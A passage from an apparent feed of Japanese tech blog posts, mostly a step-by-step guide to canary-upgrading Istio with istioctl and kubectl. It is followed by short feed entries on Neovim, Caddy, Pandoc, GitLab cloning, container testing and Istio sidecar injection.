まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。Canary Release(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元:George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースを理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、05. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) Istio IngressGatewayをインプレースアップグレードIstio IngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。▶︎ 『カナリアアップグレード』の呼称についてistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例:該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的アップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIstio IngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、04. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、04. アップグレード手法の概要 の (1) 〜 (8) に対応しています。▶︎ アップグレードに使用するツールについてistioctlコマンド以外のツール (例:helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要は同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...▶︎ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dさらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。▶︎ istio-proxyコンテナのインジェクションの仕組みについてについてistio-proxyコンテナのインジェクションの仕組みについては、今回言及しておりません。以下の記事で解説していますため、もし気になる方はよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6Istio IngressGatewayIstio IngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。Istio IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47s▶︎ IstiodとIstio IngressGatewayを動かすNamespaceについてIstio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/▶︎ アップグレード要件が満たない場合についてistioctl x precheckコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...▶︎ MutatingWebhookConfigurationの役割についてistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!▶︎ カナリアアップグレードで指定できるバージョン差についてrevisionキーを使用したカナリアアップグレードでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) Istio IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、Istio IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、Istio IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47▶︎ Istio IngressGatewayの通信遮断について(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的アップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo -n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて06. おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'Reilly MediaAmazon","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","link":"https://blog.1q77.com/2023/02/line-bot-tts/","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができま","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"自由研究には向かないウェブオペレーション\xa0","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","contentSnippet":"自由研究には向かないウェブオペレーション\xa0サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\\r\\r2023年2月18日\\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\\rhttps://forkwell.connpass.com/event/273179/\\r\\rあとがき\\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書スト","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":" ポストモーテムはじめました","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\\r\\r2023年02月09日\\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch LT\\rhttps://findy.connpass.com/event/273197/\\r\\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"NeovimのターミナルをExコマンド実行環境化する","link":"https://blog.atusy.net/2023/02/02/zsh-as-nvim-cmdline/","contentSnippet":"Neovim内に開いたTerminalで:から始まる文字列を入力すると、Neovimで実行した結果を表示する仕組みを作ってみました。","isoDate":"2023-02-02T00:00:00.000Z","dateMiliSeconds":1675296000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2023年の目標","link":"https://moz-security.hatenablog.com/entry/2023/02/01/112627","contentSnippet":"前回のブログで「近々、新年の抱負として、今年やりたいことを書きたいと思っています。」と書いておきながら、もう少しで1ヶ月が経ってしまいます。(近々とは?って感じですけど 笑)1月は、大学のテストと溜まりに溜まった課題で手一杯でしたが、1月31日でそれも終わり、ひと段落したため、今年の目標について書いていこうと思います。目標は大きく4つあります。1つ目は、大学の研究です。これは目標というよりも、頑張ることになってますね。どれだけ独学で勉強しても、趣味でいろいろシステム開発しても、まずは大学を卒業しなければ、学士にはなれないため、これは間違いなく最優先で行わなければいけません。大学の授業としても、あと残っているのが卒業研究だけであるため、今年大学でやること・頑張ることはこれだけかなと思います。大学に行って、ひたすら研究、研究、研究になる気がします。2つ目は、Hack The BoxでHackerランクになることです。昨年の3月ごろからHack The Boxを始めて、時間があるときに取り組んでいましたが、Starting Pointのいろいろな箇所で詰まったり、そもそも時間を十分に取れなかったりして、あまり攻略できていませんでした。今年は、授業もあまりなく、時間も取れそうなため、本腰を入れて頑張りたいと思います。具体的な数字でいうと、少なくとも毎日1時間、朝8時〜9時までをHack The Boxを攻略する時間に当てようと思っています。理想は、2時間、3時間、時間が取れるならそれよりもという感じなんですけど、日によっては、忙しい日もあるので、そんな日でも取れそうな最低限の1時間にしました。こういうのは1日に頑張りすぎるよりも、継続することが大事だと思うので、毎日コツコツやっていきたいと思います。将来的にはセキュリティ関連の仕事をしたいため、攻撃を通して防御を学び、防御を通して攻撃を学んでいきたいと思います。3つ目は、資格の取得です。今まで、基本情報技術者、応用情報技術者を取ってきたため、今年は、情報処理安全確保支援士に挑戦したいと思っています。資格は、知識問題でしかないから、社会では使えないという意見もあり、自分でも知識(知っていること) とスキル(できること)は違うと思っているため、半分は同意できるのですが、一方で、資格を取るために勉強するというこの資格を取るまでの過程が大事だとも思っています。また、幅広く体系的な知識を習得できるというのも資格取得のメリットだと思っています。情報処理安全確保支援士取得に向けて、これから頑張りたいと思います。4つ目は、学外のイベントに参加することです。セキュリティキャンプやSecHack365といったセキュリティ関連のイベントに加え、ハッカソンやカンファレンスにも参加していきたいと思っています。前までは、自分のスキルでは学外イベントに参加するのは恥ずかしいと思い、挑戦できていなかったのですが、昨年、ハッカソンやセキュリティ・ミニキャンプに参加することで、参加する人全員がすごい人ではなく、自分と似たような人もいるし、イベントを通して、成長したいという人がたくさんいることも知りました。今年は、昨年に引き続き、より多くのイベントに参加し、成長できる環境に自分から臨んでいきたいと思います。1月も終わり、今年もあと11ヶ月になりましたが、いろいろな経験をして、たくさんの人に出会い、成長できたと言える1年にしていきたいと思います。","isoDate":"2023-02-01T02:26:27.000Z","dateMiliSeconds":1675218387000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"PandocのLuaフィルタ内で引用文献を処理するpandoc.utils.citeprocを試す","link":"https://blog.atusy.net/2023/01/31/pandoc-citeproc-lua/","contentSnippet":"Pandocで引用文献を処理する方法として、--citeproc引数と--lua-filter引数を使う場合を比較。 後者ではpandoc.utils.citeproc関数を利用。 Luaフィルタを使うとASTレベルで引用文献を処理するので、更にフィルタをかけたい場合に便利。 ただし、--citeproc引数と併用すると引用文献のリストを2回繰り返すので排他利用を推奨。","isoDate":"2023-01-31T00:00:00.000Z","dateMiliSeconds":1675123200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのテキストオブジェクトをカスタムできるmini.aiが便利","link":"https://blog.atusy.net/2023/01/27/mini-ai-nvim/","contentSnippet":"Mini.aiについてテキストオブジェクトを自作するi[で[ foo ]の両端のスペースを含めた範囲を選択するa]で[[ foo ]]のような二重カッコを選択するaj]で「 foo 」のような日本語のカッコを選択するMini.aiについてVimやNeovimのテキストオブジェクト、便利ですよね。","isoDate":"2023-01-27T00:00:00.000Z","dateMiliSeconds":1674777600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ArtifactHUBについてのメモ","link":"https://zenn.dev/bells17/articles/artifacthub-note","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","link":"https://zenn.dev/bells17/articles/container-structure-test","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"【Istio⛵️】サービスメッシュの登場経緯とIstioサイドカーインジェクションの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかサービスメッシュのモデルサイドカープロキシメッシュ03. admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかそもそも、なぜサービスメッシュが登場したのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例:サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and why is it needed in Kubernetes?サービスメッシュのモデル前述の通り、サービスメッシュの登場前は、アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装していました。これを、『共有ライブラリモデル』と呼びます。その後、『サイドカーモデル』とも呼ばれるサイドカープロキシメッシュが登場しました。執筆時点 (2023/01/14) では、『カーネルモデル』とも呼ばれるサイドカーフリーメッシュが登場しています。サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み 